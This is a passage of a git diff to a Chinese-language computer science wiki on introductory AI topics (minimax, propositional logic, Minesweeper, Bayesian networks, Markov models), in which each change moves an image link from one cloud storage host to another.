-![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/DN3mb0lbno2AHvx2M0JcrTvtnYf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/DN3mb0lbno2AHvx2M0JcrTvtnYf.png) - 根据轮到谁的状态,算法可以知道当前玩家在最佳游戏时是否会选择导致状态值更低或更高的动作。 @@ -278,7 +278,7 @@ def remove(self): 在得到这些值之后,最大化的玩家会选择最高的一个。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/EjB9bzgZNohQtkxXwXgcVrKwnth.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/EjB9bzgZNohQtkxXwXgcVrKwnth.png) - 具体算法: @@ -310,7 +310,7 @@ def remove(self): - 这一点最容易用一个例子来说明:最大化的玩家知道,在下一步,最小化的玩家将试图获得最低分数。假设最大化玩家有三个可能的动作,第一个动作的值为4。然后玩家开始为下一个动作生成值。要做到这一点,如果当前玩家做出这个动作,玩家会生成最小化者动作的值,并且知道最小化者会选择最低的一个。然而,在完成最小化器所有可能动作的计算之前,玩家会看到其中一个选项的值为3。这意味着没有理由继续探索最小化玩家的其他可能行动。尚未赋值的动作的值无关紧要,无论是10还是(-10)。如果该值为10,则最小化器将选择最低选项3,该选项已经比预先设定的4差。如果尚未估价的行动结果是(-10),那么最小化者将选择(-10)这一选项,这对最大化者来说更加不利。因此,在这一点上为最小化者计算额外的可能动作与最大化者无关,因为最大化玩家已经有了一个明确的更好的选择,其值为4。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/LDZab4TeMoByvDxF1Onc8WQenpb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/LDZab4TeMoByvDxF1Onc8WQenpb.png) - 深度限制的极大极小算法(Depth-Limited Minimax) diff --git a/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md b/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md index 7a4513b..e0dccba 100644 --- a/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md +++ b/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md @@ -311,15 +311,15 @@ check_knowledge(knowledge) 在这个游戏中,玩家一按照一定的顺序排列颜色,然后玩家二必须猜测这个顺序。每一轮,玩家二进行猜测,玩家一返回一个数字,指示玩家二正确选择了多少颜色。让我们用四种颜色模拟一个游戏。假设玩家二猜测以下顺序: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/FZCJbOzr9o4oQPx7SNGcFxTSnRd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/FZCJbOzr9o4oQPx7SNGcFxTSnRd.png) 玩家一回答“二”。因此,我们知道其中一些两种颜色位于正确的位置,而另两种颜色则位于错误的位置。根据这些信息,玩家二试图切换两种颜色的位置。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/Y80wbn96sol7PUxO5fKcOA9Hnbg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Y80wbn96sol7PUxO5fKcOA9Hnbg.png) 现在玩家一回答“零”。因此,玩家二知道切换后的颜色最初位于正确的位置,这意味着未被切换的两种颜色位于错误的位置。玩家二切换它们。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/EuXObldHcoaO74xIzZocQQKTn4k.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/EuXObldHcoaO74xIzZocQQKTn4k.png) 在命题逻辑中表示这一点需要我们有(颜色的数量)$^2$个原子命题。所以,在四种颜色的情况下,我们会有命题 red0,red1,red2,red3,blue0…代表颜色和位置。下一步是用命题逻辑表示游戏规则(每个位置只有一种颜色,没有颜色重复),并将它们添加到知识库中。最后一步是将我们所拥有的所有线索添加到知识库中。在我们的案例中,我们会补充说,在第一次猜测中,两个位置是错误的,两个是正确的,而在第二次猜测中没有一个是对的。利用这些知识,模型检查算法可以为我们提供难题的解决方案。 diff --git a/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md b/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md index 7951b78..fb051b1 100644 --- a/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md +++ b/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md @@ -71,7 +71,7 @@ C 说:“A 是骑士。” 写一个 AI 来玩扫雷游戏。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/CQmGb6QTjoeyVCx9vjncYF2QnQe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/CQmGb6QTjoeyVCx9vjncYF2QnQe.png) ## 背景 @@ -80,7 +80,7 @@ C 说:“A 是骑士。” - 扫雷器是一款益智游戏,由一个单元格网格组成,其中一些单元格包含隐藏的“地雷”。点击包含地雷的单元格会引爆地雷,导致用户输掉游戏。单击“安全”单元格(即不包含地雷的单元格)会显示一个数字,指示有多少相邻单元格包含地雷,其中相邻单元格是指从给定单元格向左、向右、向上、向下或对角线一个正方形的单元格。 - 例如,在这个 3x3 扫雷游戏中,三个 1 值表示这些单元格中的每个单元格都有一个相邻的单元格,该单元格是地雷。四个 0 值表示这些单元中的每一个都没有相邻的地雷。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/BcfWbqCNKoXpTHxPQVqczsvcnBd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/BcfWbqCNKoXpTHxPQVqczsvcnBd.png) - 给定这些信息,玩家根据逻辑可以得出结论,右下角单元格中一定有地雷,左上角单元格中没有地雷,因为只有在这种情况下,其他单元格上的数字标签才会准确。 - 游戏的目标是标记(即识别)每个地雷。在游戏的许多实现中,包括本项目中的实现中,玩家可以通过右键单击单元格(或左键双击,具体取决于计算机)来标记地雷。 @@ -90,7 +90,7 @@ C 说:“A 是骑士。” - 你在这个项目中的目标是建立一个可以玩扫雷游戏的人工智能。回想一下,基于知识的智能主体通过考虑他们的知识库来做出决策,并根据这些知识做出推断。 - 我们可以表示人工智能关于扫雷游戏的知识的一种方法是,使每个单元格成为命题变量,如果单元格包含地雷,则为真,否则为假。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/IROdbJ4zAooiWNxitU9cRovbnne.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/IROdbJ4zAooiWNxitU9cRovbnne.png) - 我们现在掌握了什么信息?我们现在知道八个相邻的单元格中有一个是地雷。因此,我们可以写一个逻辑表达式,如下所示,表示其中一个相邻的单元格是地雷。 - `Or(A,B,C,D,E,F,G,H)` @@ -124,12 +124,12 @@ Or( - 这种表示法中的每个逻辑命题都有两个部分:一个是网格中与提示数字有关的一组单元格 `cell`,另一个是数字计数 `count`,表示这些单元格中有多少是地雷。上面的逻辑命题说,在单元格 A、B、C、D、E、F、G 和 H 中,正好有 1 个是地雷。 - 为什么这是一个有用的表示?在某种程度上,它很适合某些类型的推理。考虑下面的游戏。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/UiHObqm4noSOKlxcEtScuwPlnLd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/UiHObqm4noSOKlxcEtScuwPlnLd.png) - 利用左下数的知识,我们可以构造命题 `{D,E,G}=0`,意思是在 D、E 和 G 单元中,正好有 0 个是地雷。凭直觉,我们可以从这句话中推断出所有的单元格都必须是安全的。通过推理,每当我们有一个 `count` 为 0 的命题时,我们就知道该命题的所有 `cell` 都必须是安全的。 - 同样,考虑下面的游戏。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/VSbubz9JYo7H8XxgSbCcmMQHniK.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/VSbubz9JYo7H8XxgSbCcmMQHniK.png) - 我们的人工智能会构建命题 `{E,F,H}=3`。凭直觉,我们可以推断出所有的 E、F 和 H 都是地雷。更一般地说,任何时候 `cell` 的数量等于 `count`,我们都知道这个命题的所有单元格都必须是地雷。 - 一般来说,我们只希望我们的命题是关于那些还不知道是安全的还是地雷的 `cell`。这意味着,一旦我们知道一个单元格是否是地雷,我们就可以更新我们的知识库来简化它们,并可能得出新的结论。 @@ -137,7 +137,7 @@ Or( - 同样,如果我们的人工智能知道命题 `{A,B,C}=2`,并且我们被告知 C 是一颗地雷,我们可以从命题中删除 C,并减少计数的值(因为 C 是导致该计数的地雷),从而得到命题 `{A、B}=1`。这是合乎逻辑的:如果 A、B 和 C 中有两个是地雷,并且我们知道 C 是地雷,那么 A 和 B 中一定有一个是地雷。 - 如果我们更聪明,我们可以做最后一种推理。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/GsxxbeoPzoOZn4xSUaecVzKNnBc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GsxxbeoPzoOZn4xSUaecVzKNnBc.png) - 考虑一下我们的人工智能根据中间顶部单元格和中间底部单元格会知道的两个命题。从中上角的单元格中,我们得到 `{A,B,C}=1`。从底部中间单元格中,我们得到 `{A,B,C,D,E}=2`。从逻辑上讲,我们可以推断出一个新的知识,即 `{D,E}=1`。毕竟,如果 A、B、C、D 和 E 中有两个是地雷,而 A、B 和 C 中只有一个是地雷的话,那么 D 和 E 必须是另一个地雷。 - 更一般地说,任何时候我们有两个命题满足 `set1=count1` 和 `set2=count2`,其中 `set1` 是 `set2` 的子集,那么我们可以构造新的命题 `set2-set1=count2-count1`。考虑上面的例子,以确保你理解为什么这是真的。 diff --git a/4.人工智能/4.3.2知识推理.md b/4.人工智能/4.3.2知识推理.md index 7738ade..93b3329 100644 --- a/4.人工智能/4.3.2知识推理.md +++ b/4.人工智能/4.3.2知识推理.md @@ -112,7 +112,7 @@ - $KB$: 如果今天是星期四并且不下雨,那我将出门跑步;今天是星期四;今天不下雨。$(P\land\lnot Q)\to R,P,\lnot Q$ - 查询结论(query): $R$ - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/E8YrbXnGtoNHEJxmAttcX4p0nlg.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/E8YrbXnGtoNHEJxmAttcX4p0nlg.png) - 接下来,让我们看看如何将知识和逻辑表示为代码。 @@ -175,31 +175,31 @@ def check_all(knowledge, query, symbols, model):# 如果模型对每个符号都 - 模型检查不是一种有效的算法,因为它必须在给出答案之前考虑每个可能的模型(提醒:如果在$KB$为真的所有模型(真值分配)下,查询结论$R$为真,则$R$ 也为真)。 推理规则允许我们根据现有知识生成新信息,而无需考虑所有可能的模型。 - 推理规则通常使用将顶部部分(前提)与底部部分(结论)分开的水平条表示。 前提是我们有什么知识,结论是根据这个前提可以产生什么知识。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/FjYOb3Qr5ofHdOx7REacdcyqn0c.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/FjYOb3Qr5ofHdOx7REacdcyqn0c.png) - 肯定前件(Modus Ponens) - 如果我们知道一个蕴涵及其前件为真,那么后件也为真。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/HaqObF0xAoX6O8xDX7KctF0jnpf.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HaqObF0xAoX6O8xDX7KctF0jnpf.png) - 合取消除(And Elimination) - 如果 And 命题为真,则其中的任何一个原子命题也为真。 例如,如果我们知道哈利与罗恩和赫敏是朋友,我们就可以得出结论,哈利与赫敏是朋友。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/TI5Mb781YocwpqxRsyRcPS8WnAg.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/TI5Mb781YocwpqxRsyRcPS8WnAg.png) - 双重否定消除(Double Negation Elimination) - 被两次否定的命题为真。 例如,考虑命题“哈利没有通过考试是不正确的”。 这两个否定相互抵消,将命题“哈利通过考试”标记为真。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/NuabbQqZjoBkNixz45AcDZ8Bnrg.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/NuabbQqZjoBkNixz45AcDZ8Bnrg.png) - 蕴含消除(Implication Elimination) - 蕴涵等价于被否定的前件和后件之间的 Or 关系。 例如,命题“如果正在下雨,哈利在室内”等同于命题“(没有下雨)或(哈利在室内)”。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/S31Ub9xcUo9yArxntWscU47pnwh.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/S31Ub9xcUo9yArxntWscU47pnwh.png) | $P$ | $Q$ | $P\to Q$ | $\lnot P\lor Q$ | | --- | --- | -------- | --------------- | @@ -212,25 +212,25 @@ def check_all(knowledge, query, symbols, model):# 如果模型对每个符号都 - 等值命题等价于蕴涵及其逆命题的 And 关系。 例如,“当且仅当 Harry 在室内时才下雨”等同于(“如果正在下雨,Harry 在室内”和“如果 Harry 在室内,则正在下雨”)。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/EtPMbOXWwopIZsxjUJ0cYvHXn5g.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/EtPMbOXWwopIZsxjUJ0cYvHXn5g.png) - 德摩根律(De Morgan’s Law) - 可以将 And 连接词变成 Or 连接词。考虑以下命题:“哈利和罗恩都通过了考试是不正确的。” 由此,可以得出“哈利通过考试不是真的”或者“罗恩不是真的通过考试”的结论。 也就是说,要使前面的 And 命题为真,Or 命题中至少有一个命题必须为真。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/GTagbx1jso6l8gx1rQOcPW3inIb.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GTagbx1jso6l8gx1rQOcPW3inIb.png) - 同样,可以得出相反的结论。考虑这个命题“哈利或罗恩通过考试是不正确的”。 这可以改写为“哈利没有通过考试”和“罗恩没有通过考试”。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/XOeTbb4BooRbKBx4gHwc3A7EnYf.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/XOeTbb4BooRbKBx4gHwc3A7EnYf.png) - 分配律(Distributive Property) - 具有两个用 And 或 Or 连接词分组的命题可以分解为由 And 和 Or 组成的更小单元。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/KBxzbZhUCoX7FBx5ZVFczfPvnoc.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/KBxzbZhUCoX7FBx5ZVFczfPvnoc.png) - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/CvPybic63o7jSlxvuzpcFxjQnse.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/CvPybic63o7jSlxvuzpcFxjQnse.png) ## 知识和搜索问题 @@ -247,16 +247,16 @@ def check_all(knowledge, query, symbols, model):# 如果模型对每个符号都 - 归结是一个强大的推理规则,它规定如果 Or 命题中的两个原子命题之一为假,则另一个必须为真。 例如,给定命题“Ron 在礼堂”或“Hermione 在图书馆”,除了命题“Ron 不在礼堂”之外,我们还可以得出“Hermione 在图书馆”的结论。 更正式地说,我们可以通过以下方式定义归结: - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/PBF7bNpPcoTh1bxP4rqcshA5nIg.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/PBF7bNpPcoTh1bxP4rqcshA5nIg.png) - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/LTKXbs7VPoZxlqxfXfkczFh0nBh.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/LTKXbs7VPoZxlqxfXfkczFh0nBh.png) - 归结依赖于互补文字,两个相同的原子命题,其中一个被否定而另一个不被否定,例如$P$和$¬P$。 - 归结可以进一步推广。 假设除了“Rom 在礼堂”或“Hermione 在图书馆”的命题外,我们还知道“Rom 不在礼堂”或“Harry 在睡觉”。 我们可以从中推断出“Hermione 在图书馆”或“Harry 在睡觉”。 正式地说: - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/MebubVSxRonfZ2xnYj9c5TYCnIg.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MebubVSxRonfZ2xnYj9c5TYCnIg.png) - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/UZn3b4V8mo1OXxxKDQ0cAjwYnyf.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/UZn3b4V8mo1OXxxKDQ0cAjwYnyf.png) - 互补文字使我们能够通过解析推理生成新句子。 因此,推理算法定位互补文字以生成新知识。 - 从句(Clause)是多个原子命题的析取式(命题符号或命题符号的否定,例如$P$, $¬P$)。 析取式由Or逻辑连接词 ($P ∨ Q ∨ R$) 相连的命题组成。 另一方面,连接词由And逻辑连接词 ($P ∧ Q ∧ R$) 相连的命题组成。 从句允许我们将任何逻辑语句转换为合取范式 (CNF),它是从句的合取,例如:$(A ∨ B ∨ C) ∧ (D ∨ ¬E) ∧ (F ∨ G)$。 diff --git a/4.人工智能/4.3.3.1程序示例.md b/4.人工智能/4.3.3.1程序示例.md index 8e5e85f..eb50945 100644 --- a/4.人工智能/4.3.3.1程序示例.md +++ b/4.人工智能/4.3.3.1程序示例.md @@ -30,7 +30,7 @@ 9. 1 3. 回答关于贝叶斯网络的问题,问题如下: - ![](static/PUesbhgsFoiucAxWBKYcUUU3nMd.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/PUesbhgsFoiucAxWBKYcUUU3nMd.png) 以下哪句话是真的? diff --git a/4.人工智能/4.3.3.2项目:遗传.md b/4.人工智能/4.3.3.2项目:遗传.md index 352424e..e076e63 100644 --- a/4.人工智能/4.3.3.2项目:遗传.md +++ b/4.人工智能/4.3.3.2项目:遗传.md @@ -11,7 +11,7 @@ - 每个孩子都会从他们的父母那里继承一个 GJB2 基因。如果父母有两个变异基因,那么他们会将变异基因传给孩子;如果父母没有变异基因,那么他们不会将变异基因传给孩子;如果父母有一个变异基因,那么该基因传给孩子的概率为 0.5。不过,在基因被传递后,它有一定的概率发生额外的突变:从导致听力障碍的基因版本转变为不导致听力障碍的版本,或者反过来。 - 我们可以尝试通过对所有相关变量形成一个贝叶斯网络来模拟所有这些关系,就像下面这个网络一样,它考虑了一个由两个父母和一个孩子组成的家庭。 -![](static/FNyab3RWQo3EA8xu8T7cyLwhnyh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/FNyab3RWQo3EA8xu8T7cyLwhnyh.png) - 家庭中的每个人都有一个 `Gene` 随机变量,代表一个人有多少个特定基因(例如,GJB2 的听力障碍版本):一个 0、1 或 2 的值。家族中的每个人也有一个 `Trait` 随机变量,它是 `yes` 或 `no`,取决于该人是否表达基于该基因的性状(例如,听力障碍)。从每个人的 `Gene` 变量到他们的 `Trait` 变量之间有一个箭头,以编码一个人的基因影响他们具有特定性状的概率的想法。同时,也有一个箭头从母亲和父亲的 `Gene` 随机变量到他们孩子的 `Gene` 随机变量:孩子的基因取决于他们父母的基因。 - 你在这个项目中的任务是使用这个模型对人群进行推断。给出人们的信息,他们的父母是谁,以及他们是否具有由特定基因引起的特定可观察特征(如听力损失),你的人工智能将推断出每个人的基因的概率分布,以及任何一个人是否会表现出有关特征的概率分布。 diff --git a/4.人工智能/4.3.3不确定性问题.md b/4.人工智能/4.3.3不确定性问题.md index d3362bc..f6ed14a 100644 --- a/4.人工智能/4.3.3不确定性问题.md +++ b/4.人工智能/4.3.3不确定性问题.md @@ -24,11 +24,11 @@ $ - 用标准骰子掷出数字 R 的概率可以表示为 $P(R)$ 。在我们的例子中,$P(R)=1/6$ ,因为有六个可能的世界(从 1 到 6 的任何数字),并且每个世界有相同的可能性发生。现在,考虑掷两个骰子的事件。现在,有 36 个可能的事件,同样有相同的可能性发生。 -![](static/GqlRbfW7Yom5a9xKCBHckMBuniF.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GqlRbfW7Yom5a9xKCBHckMBuniF.png) - 然而,如果我们试图预测两个骰子的总和,会发生什么?在这种情况下,我们只有 11 个可能的值(总和必须在 2 到 12 之间),而且它们的出现频率并不相同。 -![](static/Y8EbbcnUsoHHlFxHCrGcIUDNn0f.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Y8EbbcnUsoHHlFxHCrGcIUDNn0f.png) - 为了得到事件发生的概率,我们将事件发生的世界数量除以可能发生的世界总数。例如,当掷两个骰子时,有 36 个可能的世界。只有在其中一个世界中,当两个骰子都得到 6 时,我们才能得到 12 的总和。因此,$P(12)=\frac{1}{36}$,或者,换句话说,掷两个骰子并得到两个和为 12 的数字的概率是$\frac{1}{36}$。$P(7)$是多少?我们数了数,发现和 7 出现在 6 个世界中。因此,$P(7)=\frac{6}{36}=\frac{1}{6}$。 @@ -49,11 +49,11 @@ $P(a\land b)=P(a)P(b|a)$ - 例如,考虑$P(总和为12|在一个骰子上掷出6)$,或者掷两个骰子假设我们已经掷了一个骰子并获得了六,得到十二的概率。为了计算这一点,我们首先将我们的世界限制在第一个骰子的值为六的世界: -![](static/MkZ6bIPFroAm3lxzLydcsn5QnNg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MkZ6bIPFroAm3lxzLydcsn5QnNg.png) - 现在我们问,在我们将问题限制在(除以$P(6)$,或第一个骰子产生 6 的概率)的世界中,事件 a(和为 12)发生了多少次? -![](static/XZfhbR6sBorTI9x7hVVchGLUn3b.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/XZfhbR6sBorTI9x7hVVchGLUn3b.png) ## 随机变量(Random Variables) @@ -135,7 +135,7 @@ $P(Flight=取消)=0.1$ - 每个节点 X 具有概率分布$P(X|Parents(X))$。 - 让我们考虑一个贝叶斯网络的例子,该网络包含影响我们是否按时赴约的随机变量。 -![](static/GKc6be6ueopUYZxxQg4cS4AVnmb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GKc6be6ueopUYZxxQg4cS4AVnmb.png) - 让我们从上到下描述这个贝叶斯网络: @@ -279,21 +279,21 @@ for node, prediction in zip(model.states, predictions): - 如果我们从对 Rain 变量进行采样开始,则生成的值 none 的概率为 0.7,生成的值 light 的概率为 0.2,而生成的值 heavy 的概率则为 0.1。假设我们的采样值为 none。当我们得到 Maintenance 变量时,我们也会对其进行采样,但只能从 Rain 等于 none 的概率分布中进行采样,因为这是一个已经采样的结果。我们将通过所有节点继续这样做。现在我们有一个样本,多次重复这个过程会生成一个分布。现在,如果我们想回答一个问题,比如什么是$P(Train=on\ time)$,我们可以计算变量 Train 具有准时值的样本数量,并将结果除以样本总数。通过这种方式,我们刚刚生成了$P(Train=on\ {time})$的近似概率。 -![](static/CreObGAg4oXB0oxe2hMcQbYZnAc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/CreObGAg4oXB0oxe2hMcQbYZnAc.png) -![](static/Vr96bdSafoV4kBxJ3x2cAU0TnOg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Vr96bdSafoV4kBxJ3x2cAU0TnOg.png) - 我们也可以回答涉及条件概率的问题,例如$P(rain=light|train=on\ {time})$。在这种情况下,我们忽略 Train 值为 delay 的所有样本,然后照常进行。我们计算在$Train=\text{on time}$的样本中有多少样本具有变量$Rain=light$,然后除以$Train=\text{on time}$的样本总数。 -![](static/KsELbuMTCoKZkGxU9U5czQpanKg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/KsELbuMTCoKZkGxU9U5czQpanKg.png) -![](static/MrP0b2FbXofDsOxgnmncufUynAB.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MrP0b2FbXofDsOxgnmncufUynAB.png) 去除$T= on time$的样本 -![](static/Ilj3bPKuwo0l6Dx13rZcVXfenOb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Ilj3bPKuwo0l6Dx13rZcVXfenOb.png) -![](static/AptYbb5MZoylvex7LvPcSqivnef.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/AptYbb5MZoylvex7LvPcSqivnef.png) 选择$R=light$的样本 @@ -357,11 +357,11 @@ print(Counter(data)) - 马尔科夫链是一个随机变量的序列,每个变量的分布都遵循马尔科夫假设。也就是说,链中的每个事件的发生都是基于之前事件的概率。 - 为了构建马尔可夫链,我们需要一个过渡模型,该模型将根据当前事件的可能值来指定下一个事件的概率分布。 -![](static/VBGxbrNgAovuKXxnTKYcm7UinFd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/VBGxbrNgAovuKXxnTKYcm7UinFd.png) - 在这个例子中,基于今天是晴天,明天是晴天的概率是 0.8。这是合理的,因为晴天之后更可能是晴天。然而,如果今天是雨天,明天下雨的概率是 0.7,因为雨天更有可能相继出现。使用这个过渡模型,可以对马尔可夫链进行采样。从一天是雨天或晴天开始,然后根据今天的天气,对第二天的晴天或雨天的概率进行采样。然后,根据明天的情况对后天的概率进行采样,以此类推,形成马尔科夫链: -![](static/XBghbKBaVoz0C4xa85rch804ngd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/XBghbKBaVoz0C4xa85rch804ngd.png) - 给定这个马尔可夫链,我们现在可以回答诸如“连续四个雨天的概率是多少?”这样的问题。下面是一个如何在代码中实现马尔可夫链的例子: @@ -394,7 +394,7 @@ print(model.sample(50)) - 在衡量网站的用户参与度时,隐藏的状态是用户的参与程度,而观察是网站或应用程序的分析。 - 举个例子。我们的人工智能想要推断天气(隐藏状态),但它只能接触到一个室内摄像头,记录有多少人带了雨伞。这里是我们的传感器模型(sensor model),表示了这些概率: -![](static/E0TtbfgiCoV2dtxbbPHcjPgXnQe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/E0TtbfgiCoV2dtxbbPHcjPgXnQe.png) - 在这个模型中,如果是晴天,人们很可能不会带伞到大楼。如果是雨天,那么人们就很有可能带伞到大楼来。通过对人们是否带伞的观察,我们可以合理地预测外面的天气情况。 @@ -403,7 +403,7 @@ print(model.sample(50)) - 假设证据变量只取决于相应的状态。例如,对于我们的模型,我们假设人们是否带雨伞去办公室只取决于天气。这不一定反映了完整的事实,因为,比如说,比较自觉的、不喜欢下雨的人可能即使在阳光明媚的时候也会到处带伞,如果我们知道每个人的个性,会给模型增加更多的数据。然而,传感器马尔科夫假设忽略了这些数据,假设只有隐藏状态会影响观察。 - 隐马尔科夫模型可以用一个有两层的马尔科夫链来表示。上层,变量$X$,代表隐藏状态。底层,变量$E$,代表证据,即我们所拥有的观察。 -![](static/FnyrbYSEWohimaxIYPSchotGnse.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/FnyrbYSEWohimaxIYPSchotGnse.png) - 基于隐马尔科夫模型,可以实现多种任务: diff --git a/4.人工智能/4.3人工智能导论及机器学习入门.md b/4.人工智能/4.3人工智能导论及机器学习入门.md index c02a88b..09e1ce2 100644 --- a/4.人工智能/4.3人工智能导论及机器学习入门.md +++ b/4.人工智能/4.3人工智能导论及机器学习入门.md @@ -6,7 +6,7 @@ 人工智能是一个宏大的愿景,目标是让机器像我们人类一样思考和行动,既包括增强我们人类脑力也包括增强我们体力的研究领域。而学习只是实现人工智能的手段之一,并且,只是增强我们人类脑力的方法之一。所以,人工智能包含机器学习。机器学习又包含了深度学习,他们三者之间的关系见下图。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/AMU7bSgh4o8tEIxk82icvtbDn0c.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/AMU7bSgh4o8tEIxk82icvtbDn0c.png) # 如何学习本节内容 diff --git a/4.人工智能/4.4FAQ:常见问题.md b/4.人工智能/4.4FAQ:常见问题.md index 6eee368..e0b774b 100644 --- a/4.人工智能/4.4FAQ:常见问题.md +++ b/4.人工智能/4.4FAQ:常见问题.md @@ -42,11 +42,11 @@ 机器学习包括深度学习 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnBP4QHAJnXrNfOiK8hp6LIc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnBP4QHAJnXrNfOiK8hp6LIc.png) [同时向你推荐这个 Data Analytics,Data Analysis,数据挖掘,数据科学,机器学习,大数据的区别是什么?](https://www.quora.com/What-is-the-difference-between-Data-Analytics-Data-Analysis-Data-Mining-Data-Science-Machine-Learning-and-Big-Data-1) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnxPsUwwhcCC0zBerZ2s88ld.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnxPsUwwhcCC0zBerZ2s88ld.png) ## 我没有任何相关概念 diff --git 